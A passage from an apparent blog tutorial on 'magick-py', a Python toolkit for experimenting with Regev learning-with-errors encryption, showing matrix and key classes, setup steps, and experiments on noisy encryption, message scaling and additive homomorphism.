        <span class="hljs-keyword">return</span> self

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__mul__</span>(<span class="hljs-params">self, vector</span>):
        <span class="hljs-string">"""Multiply two matrices"""</span>

        this_vector = [<span class="hljs-number">0</span>] * (self.rows * vector.cols)
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(self.rows):
            <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(self.cols):
                <span class="hljs-keyword">for</span> k <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(vector.cols):
                    this_vector[i * vector.cols + k] = (this_vector[i * vector.cols + k] + \
                                                       (self.message[i * self.cols + j] * \
                                                       vector.message[j * vector.cols + k])) % self.mod
        
        <span class="hljs-keyword">return</span> Message(self.mod, self.rows, vector.cols, this_vector)
    
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__eq__</span>(<span class="hljs-params">self, vector</span>):
        <span class="hljs-string">"""Check if two matrices are equal"""</span>

        <span class="hljs-keyword">return</span> (self.rows == vector.rows) <span class="hljs-keyword">and</span> \
               (self.cols == vector.cols) <span class="hljs-keyword">and</span> \
               (self.message == vector.message)

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__repr__</span>(<span class="hljs-params">self</span>):
        <span class="hljs-string">"""Print the message vector"""</span>

        <span class="hljs-keyword">return</span> <span class="hljs-string">f'\nRows: <span class="hljs-subst">{self.rows}</span>\nCols: <span class="hljs-subst">{self.cols}</span>\nVector: <span class="hljs-subst">{self.message}</span>\n'</span>


    <span class="hljs-comment">############################</span>
    <span class="hljs-comment">#     Public methods </span>
    <span class="hljs-comment">############################</span>

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">calculate_scaling</span>(<span class="hljs-params">self, numerator, denominator, this_mod</span>):
        <span class="hljs-string">"""Calculate the scaled message vector"""</span>

        this_vector = [<span class="hljs-number">0</span>] * (self.rows * self.cols)

        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(self.message)):
            this_vector[i] = <span class="hljs-built_in">round</span>((numerator * self.message[i]) / denominator) % this_mod

        <span class="hljs-keyword">return</span> Message(this_mod, self.rows, self.cols, this_vector)

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">set_query_element</span>(<span class="hljs-params">self, row, col, value</span>) -> <span class="hljs-literal">None</span>:
        <span class="hljs-string">"""Set the value at a particular index"""</span>

        self.message[row * self.cols + col] = value
        
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">get_query_element</span>(<span class="hljs-params">self, row, col</span>) -> <span class="hljs-built_in">int</span>:
        <span class="hljs-string">"""Get the value at a particular index"""</span>

        <span class="hljs-keyword">return</span> self.message[row * self.cols + col]


    <span class="hljs-comment">############################</span>
    <span class="hljs-comment">#     Static methods </span>
    <span class="hljs-comment">############################</span>

<span class="hljs-meta">    @staticmethod</span>
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">create_random_message</span>(<span class="hljs-params">mod, rows, cols</span>): 
        <span class="hljs-string">"""Create a random message vector"""</span>

        <span class="hljs-keyword">return</span> Message(mod, rows, cols, [random.randint(<span class="hljs-number">0</span>, mod - <span class="hljs-number">1</span>) <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(rows * cols)])

<span class="hljs-meta">    @staticmethod</span>
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">create_zero_message</span>(<span class="hljs-params">mod, rows, cols</span>): 
        <span class="hljs-string">"""Create a zero message vector"""</span>

        <span class="hljs-keyword">return</span> Message(mod, rows, cols, [<span class="hljs-number">0</span> <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(rows * cols)])

<span class="hljs-meta">    @staticmethod</span>
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">calculate_sample_error</span>(<span class="hljs-params">bound, mod, rows, cols</span>): 
        <span class="hljs-string">"""Create a random error message vector"""</span>

        <span class="hljs-keyword">return</span> Message(mod, rows, cols, [sample_error(bound) % mod <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(cols * rows)])
</code></pre><p>and this is how <code>Regev()</code> in <code>regev.py</code> looks:</p><pre data-type="codeBlock" text="class Regev():

    def __init__(self):

        self.mod = None
        self.n = None
        self.m = None
        self.p = None
        self.bound = None
        self._load_env_parameters()

    ############################
    #      Private methods
    ############################

    def _load_env_parameters(self) -&gt; None:
        &quot;&quot;&quot;Load environment variables&quot;&quot;&quot;

        env_vars = load_config()
        self.mod = int(env_vars[&apos;mod&apos;])
        self.n = int(env_vars[&apos;n&apos;])
        self.m = int(env_vars[&apos;m&apos;])
        self.p = int(env_vars[&apos;p&apos;])
        self.bound = int(env_vars[&apos;bound&apos;])


    ############################
    #      Public methods
    ############################

    def print_results(self, m0, m1, m0_string, m1_string) -&gt; None:
        &quot;&quot;&quot;Print the results of the experiment&quot;&quot;&quot;

        if m0 == m1:
            log_info(f&apos;Original msg was successfully retrieved!\n&apos;)
        else:
            log_error(f&apos;Original msg was not retrieved.&apos;)

        log_info(f&apos;{m0_string}: {m0}\n&apos;)
        log_info(f&apos;{m1_string}: {m1}\n&apos;)
        log_info(f&apos;Parameters: \nmod: {self.mod} \nn: {self.n} \nm: {self.m} \np: {self.p} \nbound: [-{self.bound}, {self.bound}] \n&apos;)

    def print_noise_growth(self, m0, m1, noise_growth) -&gt; None:
        &quot;&quot;&quot;Print the noise growth&quot;&quot;&quot;

        log_info(f&apos;Correct decryption for Delta / 2: {(self.mod / self.p) / 2}? {m0 == m1}&apos;)
        log_info(f&apos;Noise growth: {noise_growth.message[0]}&apos;)

    def create_secret_key(self, this_mod=None, msg_n=1):
        &quot;&quot;&quot;Create a secret key vector&quot;&quot;&quot;

        if this_mod is None:
            this_mod = self.mod

        return  Message.create_random_message(this_mod, self.n, msg_n)

    def create_message_setup(self, this_m=None, this_n=None, this_mod=None, msg_n=None):
        &quot;&quot;&quot;Create a message vector setup&quot;&quot;&quot;
        
        if this_mod is None:
            this_mod = self.mod
        
        if this_m is None:
            this_m = self.m
        
        if this_n is None:
            this_n = self.n
        
        if msg_n is None:
            msg_n = 1

        # message vector of size `m`, where each element has a modulus `mod`
        m0= Message.create_random_message(this_mod, self.m, msg_n)

        # public    
        A = Message.create_random_message(self.mod, self.m, self.n)

        # error vector
        e = Message.calculate_sample_error(self.bound, self.mod, self.m, msg_n)

        return m0, A, e

    ############################
    #      Static methods
    ############################

    @staticmethod
    def calculate_encryption(A, s, e, m0):
        &quot;&quot;&quot;
            Encrypt this message with a simple `B = A * s + e + m0`, 
            where `s` is the secret and `e` is the error vector.
            Set the cipher as the tuple c = (B, A).
        &quot;&quot;&quot;

        B = (A * s) + e + m0
        return (B, A)

    @staticmethod
    def calculate_decryption(s, c):
        &quot;&quot;&quot; 
            Calculate the decryption of a ciphertext, given c
            and a secret, such that m1 = m0 + e.
        &quot;&quot;&quot;

        B = c[0]
        A = c[1]
        return B - (A * s)
"><code><span class="hljs-keyword">class</span> <span class="hljs-title class_">Regev</span>():

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self</span>):

        self.mod = <span class="hljs-literal">None</span>
        self.n = <span class="hljs-literal">None</span>
        self.m = <span class="hljs-literal">None</span>
        self.p = <span class="hljs-literal">None</span>
        self.bound = <span class="hljs-literal">None</span>
        self._load_env_parameters()

    <span class="hljs-comment">############################</span>
    <span class="hljs-comment">#      Private methods</span>
    <span class="hljs-comment">############################</span>

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_load_env_parameters</span>(<span class="hljs-params">self</span>) -> <span class="hljs-literal">None</span>:
        <span class="hljs-string">"""Load environment variables"""</span>

        env_vars = load_config()
        self.mod = <span class="hljs-built_in">int</span>(env_vars[<span class="hljs-string">'mod'</span>])
        self.n = <span class="hljs-built_in">int</span>(env_vars[<span class="hljs-string">'n'</span>])
        self.m = <span class="hljs-built_in">int</span>(env_vars[<span class="hljs-string">'m'</span>])
        self.p = <span class="hljs-built_in">int</span>(env_vars[<span class="hljs-string">'p'</span>])
        self.bound = <span class="hljs-built_in">int</span>(env_vars[<span class="hljs-string">'bound'</span>])


    <span class="hljs-comment">############################</span>
    <span class="hljs-comment">#      Public methods</span>
    <span class="hljs-comment">############################</span>

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">print_results</span>(<span class="hljs-params">self, m0, m1, m0_string, m1_string</span>) -> <span class="hljs-literal">None</span>:
        <span class="hljs-string">"""Print the results of the experiment"""</span>

        <span class="hljs-keyword">if</span> m0 == m1:
            log_info(<span class="hljs-string">f'Original msg was successfully retrieved!\n'</span>)
        <span class="hljs-keyword">else</span>:
            log_error(<span class="hljs-string">f'Original msg was not retrieved.'</span>)

        log_info(<span class="hljs-string">f'<span class="hljs-subst">{m0_string}</span>: <span class="hljs-subst">{m0}</span>\n'</span>)
        log_info(<span class="hljs-string">f'<span class="hljs-subst">{m1_string}</span>: <span class="hljs-subst">{m1}</span>\n'</span>)
        log_info(<span class="hljs-string">f'Parameters: \nmod: <span class="hljs-subst">{self.mod}</span> \nn: <span class="hljs-subst">{self.n}</span> \nm: <span class="hljs-subst">{self.m}</span> \np: <span class="hljs-subst">{self.p}</span> \nbound: [-<span class="hljs-subst">{self.bound}</span>, <span class="hljs-subst">{self.bound}</span>] \n'</span>)

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">print_noise_growth</span>(<span class="hljs-params">self, m0, m1, noise_growth</span>) -> <span class="hljs-literal">None</span>:
        <span class="hljs-string">"""Print the noise growth"""</span>

        log_info(<span class="hljs-string">f'Correct decryption for Delta / 2: <span class="hljs-subst">{(self.mod / self.p) / <span class="hljs-number">2</span>}</span>? <span class="hljs-subst">{m0 == m1}</span>'</span>)
        log_info(<span class="hljs-string">f'Noise growth: <span class="hljs-subst">{noise_growth.message[<span class="hljs-number">0</span>]}</span>'</span>)

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">create_secret_key</span>(<span class="hljs-params">self, this_mod=<span class="hljs-literal">None</span>, msg_n=<span class="hljs-number">1</span></span>):
        <span class="hljs-string">"""Create a secret key vector"""</span>

        <span class="hljs-keyword">if</span> this_mod <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:
            this_mod = self.mod

        <span class="hljs-keyword">return</span>  Message.create_random_message(this_mod, self.n, msg_n)

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">create_message_setup</span>(<span class="hljs-params">self, this_m=<span class="hljs-literal">None</span>, this_n=<span class="hljs-literal">None</span>, this_mod=<span class="hljs-literal">None</span>, msg_n=<span class="hljs-literal">None</span></span>):
        <span class="hljs-string">"""Create a message vector setup"""</span>
        
        <span class="hljs-keyword">if</span> this_mod <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:
            this_mod = self.mod
        
        <span class="hljs-keyword">if</span> this_m <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:
            this_m = self.m
        
        <span class="hljs-keyword">if</span> this_n <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:
            this_n = self.n
        
        <span class="hljs-keyword">if</span> msg_n <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:
            msg_n = <span class="hljs-number">1</span>

        <span class="hljs-comment"># message vector of size `m`, where each element has a modulus `mod`</span>
        m0= Message.create_random_message(this_mod, self.m, msg_n)

        <span class="hljs-comment"># public    </span>
        A = Message.create_random_message(self.mod, self.m, self.n)

        <span class="hljs-comment"># error vector</span>
        e = Message.calculate_sample_error(self.bound, self.mod, self.m, msg_n)

        <span class="hljs-keyword">return</span> m0, A, e

    <span class="hljs-comment">############################</span>
    <span class="hljs-comment">#      Static methods</span>
    <span class="hljs-comment">############################</span>

<span class="hljs-meta">    @staticmethod</span>
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">calculate_encryption</span>(<span class="hljs-params">A, s, e, m0</span>):
        <span class="hljs-string">"""
            Encrypt this message with a simple `B = A * s + e + m0`, 
            where `s` is the secret and `e` is the error vector.
            Set the cipher as the tuple c = (B, A).
        """</span>

        B = (A * s) + e + m0
        <span class="hljs-keyword">return</span> (B, A)

<span class="hljs-meta">    @staticmethod</span>
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">calculate_decryption</span>(<span class="hljs-params">s, c</span>):
        <span class="hljs-string">""" 
            Calculate the decryption of a ciphertext, given c
            and a secret, such that m1 = m0 + e.
        """</span>

        B = c[<span class="hljs-number">0</span>]
        A = c[<span class="hljs-number">1</span>]
        <span class="hljs-keyword">return</span> B - (A * s)
</code></pre><p>in the subsequent sections, we review each experiment&apos;s code and results. but first, let me show you how you can set up the tool.</p><hr><h2 id="h-0010-setting-up-magick-py" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0010. setting up magick-py</h2><p>install the requirements in a virtual environment with:</p><pre data-type="codeBlock" text="python3 -m venv venv
source venv/bin/activate
make install_deps
"><code>python3 <span class="hljs-operator">-</span>m venv venv
source venv<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>activate
make install_deps
</code></pre><p>create a <code>.env</code> file and set the environment variables and parameters.</p><p>LWE parameters are:</p><ul><li><p>size of msg vector, <code>m</code> and <code>n</code></p></li><li><p>message’s modulo <code>mod</code> and <code>p</code></p></li><li><p>a work around the sampling errors (<strong>i.e.,</strong> the standard variation <code>sigma</code> of a Gaussian distribution with zero mean <code>sigma</code>) by setting a <code>bound</code> range for them</p></li></ul><p>you should also take a look at <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/malb/lattice-estimator">lattice-estimator</a> to learn how to make security estimates for LWE parameters.</p><p>finally, install magick with:</p><pre data-type="codeBlock" text="make install
"><code><span class="hljs-built_in">make</span> install
</code></pre><hr><h2 id="h-0011-experiment-i-simple-linear-encryption-and-decryption-of-a-msg-vector-with-a-sampled-error-vector" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0011. experiment I: simple linear encryption and decryption of a msg vector with a sampled error vector</h2><p>in this simple experiment of learning with error (LWE), we operate our message vector over a ring modulo <code>mod</code>, so some information is lost. luckily, <strong>gaussian elimination</strong> can still be used to recover the original message vector as it works over a ring modulo <code>mod</code>.</p><p>the method for this experiment can be found at <code>experiments/simple_encryption.py</code>:</p><pre data-type="codeBlock" text="def linear_secret_key_regev_encryption_with_error() -&gt; None:
    &quot;&quot;&quot; 
        This method runs a secret key Regev encryption and decryption 
        experiment for a msg vector with a sampled error vector.

        In this simple example of learning with error (LWE), we operate
        our message vector over a ring modulo mod, such that some
        information is lost. This is not a problem since gaussian elimination
        can be used to recover the original message vector (i.e., it works
        over a ring modulo mod).

        We represent the message vector m0 of size m where each element is
        modulus mod. The cipertext c is B = A * s + e + m0, which can be
        decrypted as c = (B, A).
    &quot;&quot;&quot;

    ########################################################################
    # 1. Key generation
    ########################################################################
    regev = Regev()
    m0, A, e = regev.create_message_setup()
    s = regev.create_secret_key()

    ########################################################################
    # 2. Encryption by calculating B and ciphertext c
    ########################################################################
    c = regev.calculate_encryption(A, s, e, m0)

    ########################################################################
    # 3. Calculate the decryption of the ciphertext c
    ########################################################################
    m1 = regev.calculate_decryption(s, c)

    ########################################################################
    # 4. The message vector m1 should be equal to m0 plus the error vector e
    ########################################################################
    regev.print_results(m0, m0 + e, &apos;m0&apos;, &apos;m0 + e&apos;)
"><code>def linear_secret_key_regev_encryption_with_error() -> None:
    """ 
        This method runs a secret key Regev encryption and decryption 
        experiment for a msg vector with a sampled error vector.

        In this simple example of learning with error (LWE), we operate
        our message vector over a ring modulo mod, such that some
        information is lost. This is not a problem since gaussian elimination
        can be used to recover the original message vector (i.e., it works
        over a ring modulo mod).

        We represent the message vector m0 of size m where each element is
        modulus mod. The cipertext c is <span class="hljs-attr">B</span> = A * s + e + m0, which can be
        decrypted as <span class="hljs-attr">c</span> = (B, A).
    """

    <span class="hljs-comment">########################################################################</span>
    <span class="hljs-comment"># 1. Key generation</span>
    <span class="hljs-comment">########################################################################</span>
    <span class="hljs-attr">regev</span> = Regev()
    m0, A, <span class="hljs-attr">e</span> = regev.create_message_setup()
    <span class="hljs-attr">s</span> = regev.create_secret_key()

    <span class="hljs-comment">########################################################################</span>
    <span class="hljs-comment"># 2. Encryption by calculating B and ciphertext c</span>
    <span class="hljs-comment">########################################################################</span>
    <span class="hljs-attr">c</span> = regev.calculate_encryption(A, s, e, m0)

    <span class="hljs-comment">########################################################################</span>
    <span class="hljs-comment"># 3. Calculate the decryption of the ciphertext c</span>
    <span class="hljs-comment">########################################################################</span>
    <span class="hljs-attr">m1</span> = regev.calculate_decryption(s, c)

    <span class="hljs-comment">########################################################################</span>
    <span class="hljs-comment"># 4. The message vector m1 should be equal to m0 plus the error vector e</span>
    <span class="hljs-comment">########################################################################</span>
    regev.print_results(m0, m0 + e, 'm0', 'm0 + e')
</code></pre><p>simply put, these are the steps of this experiment:</p><ol><li><p>represent a message vector <code>m0</code> of size <code>m</code>, where each element has modulo <code>mod</code>.</p></li><li><p>encrypt this message with a simple <code>B = A * s + e + m0</code>, where <code>s</code> is the secret and <code>e</code> is an error vector.</p></li><li><p>set the ciphertext as the tuple <code>c = (B, A)</code>.</p></li><li><p>decrypt <code>c = (B, A)</code> for a given <code>s</code>, such that <code>m1 = m0 + e</code>.</p></li></ol><p>here is an example of an output:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7786229d6757fe9673507dbac96ee139856078c24b628ec7c2fa9beab3d2a2d2.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-0100-experiment-ii-secret-key-regev-encryption-by-scaling-a-message-vector" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0100. experiment II: secret key regev encryption by scaling a message vector</h2><p>in this another simple example of learning with error (LWE), we lose information on the least significant bits by adding noise, <em>i.e.</em>, by scaling the message vector (before adding it to encryption) with:</p><pre data-type="codeBlock" text="delta = mod / p
"><code><span class="hljs-attr">delta</span> = mod / p
</code></pre><p>then, during the decryption, we scale the message vector back by:</p><pre data-type="codeBlock" text="1 / delta
"><code><span class="hljs-number">1</span> <span class="hljs-operator">/</span> delta
</code></pre><p>the scaling ensures that <code>m</code> is in the highest bits of the message vector, without losing information by adding the error vector <code>e</code>.</p><p>consequently, the message <code>m0</code> vector has each element modulo <code>p</code> (not <code>mod</code>), where <code>p &lt; q</code>.</p><p>the scaled message is</p><pre data-type="codeBlock" text="m0_scaled = m0 * delta = m0 * mod / p
"><code>m0_scaled <span class="hljs-operator">=</span> m0 <span class="hljs-operator">*</span> delta <span class="hljs-operator">=</span> m0 <span class="hljs-operator">*</span> mod <span class="hljs-operator">/</span> p
</code></pre><p>the ciphertext <code>c</code> is</p><pre data-type="codeBlock" text="B = A * s + e + m0_scaled
"><code>B <span class="hljs-operator">=</span> A <span class="hljs-operator">*</span> s <span class="hljs-operator">+</span> e <span class="hljs-operator">+</span> m0_scaled
</code></pre><p>which can be decrypted as</p><pre data-type="codeBlock" text=" c = (B, A)
"><code> c = (<span class="hljs-selector-tag">B</span>, <span class="hljs-selector-tag">A</span>)
</code></pre><p>here is the source code:</p><pre data-type="codeBlock" text="def linear_secret_key_regev_encryption_scaled() -&gt; None:
    &quot;&quot;&quot; 
        This method runs a secret key regev encryption and decryption experiment
        for a msg vector with a scaled msg vector.

        In this another simple example of learning with error (LWE), we loose
        information on least significant bits by adding noise, i.e., by scaling 
        the message vector by delta = mod / p before adding it to encryption. 
        Then, during the decryption, we scale the message vector by 1 / delta.

        The scaling ensures that m is in the highest bits of the message vector,
        without losing information with the addition of the error vector e.

        Now, the message m0 vector has each element module p (not mod), where
        p &lt; q. The scaled message is now m0_scaled = m0 * delta = m0 * mod / p.
        The cipertext c is B = A * s + e + m0_scaled, which can be decrypted as
        c = (B, A), i.e., m0 = (B - A * s) / delta = (delta * m0 + e) / delta.
    &quot;&quot;&quot;

    ########################################################################
    # 1. Key generation
    ########################################################################
    regev = Regev()
    m0, A, e = regev.create_message_setup(this_mod = regev.p)
    s = regev.create_secret_key()

    ########################################################################
    # 2. Scale message vector by delta = mod / p
    ########################################################################
    scaled_m0 = m0.calculate_scaling(regev.mod, regev.p, regev.mod)

    ########################################################################
    # 3. Encryption by calculating B and ciphertext c
    ########################################################################
    c = regev.calculate_encryption(A, s, e, scaled_m0)

    ########################################################################
    # 4. Calculate the decryption of the ciphertext c
    ########################################################################
    m1 = regev.calculate_decryption(s, c)

    ########################################################################
    # 5. Scale m1 vector by 1/ delta = p / mod
    ########################################################################
    scaled_m1 = m1.calculate_scaling(regev.p, regev.mod, regev.p)

    ########################################################################
    # 6. The message vector m0 should be equal to m1
    ########################################################################
    regev.print_results(m0, scaled_m1, &apos;m0&apos;, &apos;scaled m1&apos;)
"><code>def linear_secret_key_regev_encryption_scaled() <span class="hljs-operator">-</span><span class="hljs-operator">></span> None:
    <span class="hljs-string">""</span><span class="hljs-string">" 
        This method runs a secret key regev encryption and decryption experiment
        for a msg vector with a scaled msg vector.

        In this another simple example of learning with error (LWE), we loose
        information on least significant bits by adding noise, i.e., by scaling 
        the message vector by delta = mod / p before adding it to encryption. 
        Then, during the decryption, we scale the message vector by 1 / delta.

        The scaling ensures that m is in the highest bits of the message vector,
        without losing information with the addition of the error vector e.

        Now, the message m0 vector has each element module p (not mod), where
        p &#x3C; q. The scaled message is now m0_scaled = m0 * delta = m0 * mod / p.
        The cipertext c is B = A * s + e + m0_scaled, which can be decrypted as
        c = (B, A), i.e., m0 = (B - A * s) / delta = (delta * m0 + e) / delta.
    "</span><span class="hljs-string">""</span>

    ########################################################################
    # <span class="hljs-number">1.</span> Key generation
    ########################################################################
    regev <span class="hljs-operator">=</span> Regev()
    m0, A, e <span class="hljs-operator">=</span> regev.create_message_setup(this_mod <span class="hljs-operator">=</span> regev.p)
    s <span class="hljs-operator">=</span> regev.create_secret_key()

    ########################################################################
    # <span class="hljs-number">2.</span> Scale message vector by delta <span class="hljs-operator">=</span> mod <span class="hljs-operator">/</span> p
    ########################################################################
    scaled_m0 <span class="hljs-operator">=</span> m0.calculate_scaling(regev.mod, regev.p, regev.mod)

    ########################################################################
    # <span class="hljs-number">3.</span> Encryption by calculating B and ciphertext c
    ########################################################################
    c <span class="hljs-operator">=</span> regev.calculate_encryption(A, s, e, scaled_m0)

    ########################################################################
    # <span class="hljs-number">4.</span> Calculate the decryption of the ciphertext c
    ########################################################################
    m1 <span class="hljs-operator">=</span> regev.calculate_decryption(s, c)

    ########################################################################
    # <span class="hljs-number">5.</span> Scale m1 vector by <span class="hljs-number">1</span><span class="hljs-operator">/</span> delta <span class="hljs-operator">=</span> p <span class="hljs-operator">/</span> mod
    ########################################################################
    scaled_m1 <span class="hljs-operator">=</span> m1.calculate_scaling(regev.p, regev.mod, regev.p)

    ########################################################################
    # <span class="hljs-number">6.</span> The message vector m0 should be equal to m1
    ########################################################################
    regev.print_results(m0, scaled_m1, <span class="hljs-string">'m0'</span>, <span class="hljs-string">'scaled m1'</span>)
</code></pre><p>here is an example of an output:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/56a52ace860a758398b06253958f4b8515078de7ebb8542dd7d68055c0d5da7b.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-0101-experiment-iii-proving-that-the-secret-key-regev-encryption-scheme-supports-additive-homomorphism" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0101. experiment III: proving that the secret key regev encryption scheme supports additive homomorphism</h2><p>we saw that <strong>additive homomorphism</strong> means that if <code>c0</code> is the encryption of <code>m1</code> under secret key <code>s</code> and <code>c2</code> is the encryption of <code>m2</code> under the same secret key <code>s</code>, then <code>c0 + c1</code> is the encryption of <code>m0 + m1</code> under <code>s</code>.</p><p>for a large number of <code>ci</code>, noise can be introduced from error, so the correctness of the results will depend on the values of <code>m</code>, <code>n</code>, <code>mod</code>, and <code>p</code>, such that:</p><pre data-type="codeBlock" text="|sum ei| &lt; mod / (2 * p)
"><code><span class="hljs-operator">|</span>sum ei<span class="hljs-operator">|</span> <span class="hljs-operator">&#x3C;</span> mod <span class="hljs-operator">/</span> (<span class="hljs-number">2</span> <span class="hljs-operator">*</span> p)
</code></pre><p>here is the source code for this experiment:</p><pre data-type="codeBlock" text="def additive_homomorphism() -&gt; None:
    &quot;&quot;&quot; 
        This method proves that the secret key Regev encryption scheme is
        additive homomorphic, i.e., if c0 encrypts m0 and c1 encrypts m1,
        both under s, then c0 + c1 decrypts to m0 + m1. 
    &quot;&quot;&quot;

    ########################################################################
    # 1. Key generation for two independent messages m0 and m1
    ########################################################################
    
    r0 = Regev()
    m0, A0, e0 = r0.create_message_setup(this_mod = r0.p)

    r1 = Regev()
    m1, A1, e1 = r1.create_message_setup(this_mod = r1.p)

    s = r0.create_secret_key()

    ########################################################################
    # 3. Scale message vectors by delta = mod / p
    ########################################################################
    scaled_m0 = m0.calculate_scaling(r0.mod, r0.p, r0.mod)
    scaled_m1 = m1.calculate_scaling(r1.mod, r1.p, r1.mod)

    ########################################################################
    # 4. Encryption by calculating B and ciphertext c for each message
    ########################################################################
    c0 = r0.calculate_encryption(A0, s, e0, scaled_m0)
    c1 = r1.calculate_encryption(A1, s, e1, scaled_m1)

    ########################################################################
    # 5. Add the ciphertexts, with c2 = c0 + c1
    ########################################################################
    c2 = (c0[0] + c1[0], c0[1] + c1[1])

    ########################################################################
    # 6. Decrypt the sum of the ciphertexts
    ########################################################################
    r2 = Regev()
    m2 = r2.calculate_decryption(s, c2)

    ########################################################################
    # 5. Scale m1 vector by 1/ delta = p / mod
    ########################################################################
    scaled_m2 = m2.calculate_scaling(r2.p, r2.mod, r2.p)

    ########################################################################
    # 6. The sum of the message vectors m0 and m1 should be equal to m2
    ########################################################################
    r2.print_results(m0 + m1, scaled_m2, &apos;m0 + m1&apos;, &apos;m2&apos;)
"><code>def additive_homomorphism() <span class="hljs-operator">-</span><span class="hljs-operator">></span> None:
    <span class="hljs-string">""</span><span class="hljs-string">" 
        This method proves that the secret key Regev encryption scheme is
        additive homomorphic, i.e., if c0 encrypts m0 and c1 encrypts m1,
        both under s, then c0 + c1 decrypts to m0 + m1. 
    "</span><span class="hljs-string">""</span>

    ########################################################################
    # <span class="hljs-number">1.</span> Key generation <span class="hljs-keyword">for</span> two independent messages m0 and m1
    ########################################################################
    
    r0 <span class="hljs-operator">=</span> Regev()
    m0, A0, e0 <span class="hljs-operator">=</span> r0.create_message_setup(this_mod <span class="hljs-operator">=</span> r0.p)

    r1 <span class="hljs-operator">=</span> Regev()
    m1, A1, e1 <span class="hljs-operator">=</span> r1.create_message_setup(this_mod <span class="hljs-operator">=</span> r1.p)

    s <span class="hljs-operator">=</span> r0.create_secret_key()

    ########################################################################
    # <span class="hljs-number">3.</span> Scale message vectors by delta <span class="hljs-operator">=</span> mod <span class="hljs-operator">/</span> p
    ########################################################################
    scaled_m0 <span class="hljs-operator">=</span> m0.calculate_scaling(r0.mod, r0.p, r0.mod)
    scaled_m1 <span class="hljs-operator">=</span> m1.calculate_scaling(r1.mod, r1.p, r1.mod)

    ########################################################################
    # <span class="hljs-number">4.</span> Encryption by calculating B and ciphertext c <span class="hljs-keyword">for</span> each message
    ########################################################################
    c0 <span class="hljs-operator">=</span> r0.calculate_encryption(A0, s, e0, scaled_m0)
    c1 <span class="hljs-operator">=</span> r1.calculate_encryption(A1, s, e1, scaled_m1)

    ########################################################################
    # <span class="hljs-number">5.</span> Add the ciphertexts, with c2 <span class="hljs-operator">=</span> c0 <span class="hljs-operator">+</span> c1
    ########################################################################
    c2 <span class="hljs-operator">=</span> (c0[<span class="hljs-number">0</span>] <span class="hljs-operator">+</span> c1[<span class="hljs-number">0</span>], c0[<span class="hljs-number">1</span>] <span class="hljs-operator">+</span> c1[<span class="hljs-number">1</span>])

    ########################################################################
    # <span class="hljs-number">6.</span> Decrypt the sum of the ciphertexts
    ########################################################################
    r2 <span class="hljs-operator">=</span> Regev()
    m2 <span class="hljs-operator">=</span> r2.calculate_decryption(s, c2)

    ########################################################################
    # <span class="hljs-number">5.</span> Scale m1 vector by <span class="hljs-number">1</span><span class="hljs-operator">/</span> delta <span class="hljs-operator">=</span> p <span class="hljs-operator">/</span> mod
    ########################################################################
    scaled_m2 <span class="hljs-operator">=</span> m2.calculate_scaling(r2.p, r2.mod, r2.p)

    ########################################################################
    # <span class="hljs-number">6.</span> The sum of the message vectors m0 and m1 should be equal to m2
    ########################################################################
    r2.print_results(m0 <span class="hljs-operator">+</span> m1, scaled_m2, <span class="hljs-string">'m0 + m1'</span>, <span class="hljs-string">'m2'</span>)
